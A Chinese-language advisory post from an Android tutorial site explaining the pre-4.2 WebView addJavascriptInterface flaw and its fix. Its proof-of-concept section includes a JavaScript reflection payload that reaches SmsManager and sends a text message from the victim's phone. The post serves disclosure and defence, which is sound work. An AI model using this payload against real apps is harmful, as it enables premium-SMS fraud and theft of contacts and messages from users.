Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android WebView掛馬漏洞--各大廠商紛紛落馬

Android WebView掛馬漏洞--各大廠商紛紛落馬

編輯:關於Android編程

一、漏洞描述       近期,微信等多款安卓流行應用曝出高危掛馬漏洞:只要點擊好友消息或朋友圈中的一條網址,手機就會自動執行黑客指令,出現被安裝惡意扣費軟件、向好友發送欺詐短信、通訊錄和短信被竊取等嚴重後果。在烏雲漏洞平台上,包括安卓版微信、QQ、騰訊微博、QQ浏覽器、快播、百度浏覽器、金山浏覽器等大批應用均被曝光同類型漏洞。   二、影響版本      Android系統版本低於4.2   三、漏洞原理      漏洞點:WebView.addJavascriptInterface(Object obj, String interfaceName) ;    漏洞觸發條件:         1、使用WebView.addJavascriptInterface方法注冊可供javascript調用的java對象。         2、使用WebView加載外部網頁。         3、Android系統版本低於4.2    漏洞原因:         Android系統通過WebView.addJavascriptInterface方法注冊可供javascript調用的java對象,以用於增強javascript的功能。但是系統並沒有對注冊JAVA類的方法調用的限制。導致攻擊者可以利用反射機制調用未注冊的其它任何JAVA類,最終導致javascript能力的無限增強。攻擊者利用該漏洞可以根據客戶端能力為所欲為。              四、POC代碼            我們利用該漏洞調用SmsManager發送短信(被攻擊APK要有短信發送權限)          WebView webview = new WebView(context);          WebSettings webset= webview.getSettings();          webset.setJavaScriptEnabled(true);          webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");          利用該漏洞的外部javascript腳本:          <script>                var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);                obj_smsManager.sendTextMessage("159********",null,"test",null,null);          </script>       出於安全考慮,為了防止Java層的函數被隨便調用,Google在4.2版本之後,規定允許被調用的函數必須以@JavascriptInterface進行注解,所以如果某應用依賴的API Level為17或者以上,就不會受該問題的影響(注:Android 4.2中API Level小於17的應用也會受影響)。在各應用廠商修復該問題期間,我們建議用戶暫時使用系統自帶的浏覽器訪問網頁,並且不要訪問社交應用中陌生人發來的鏈接。  
  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved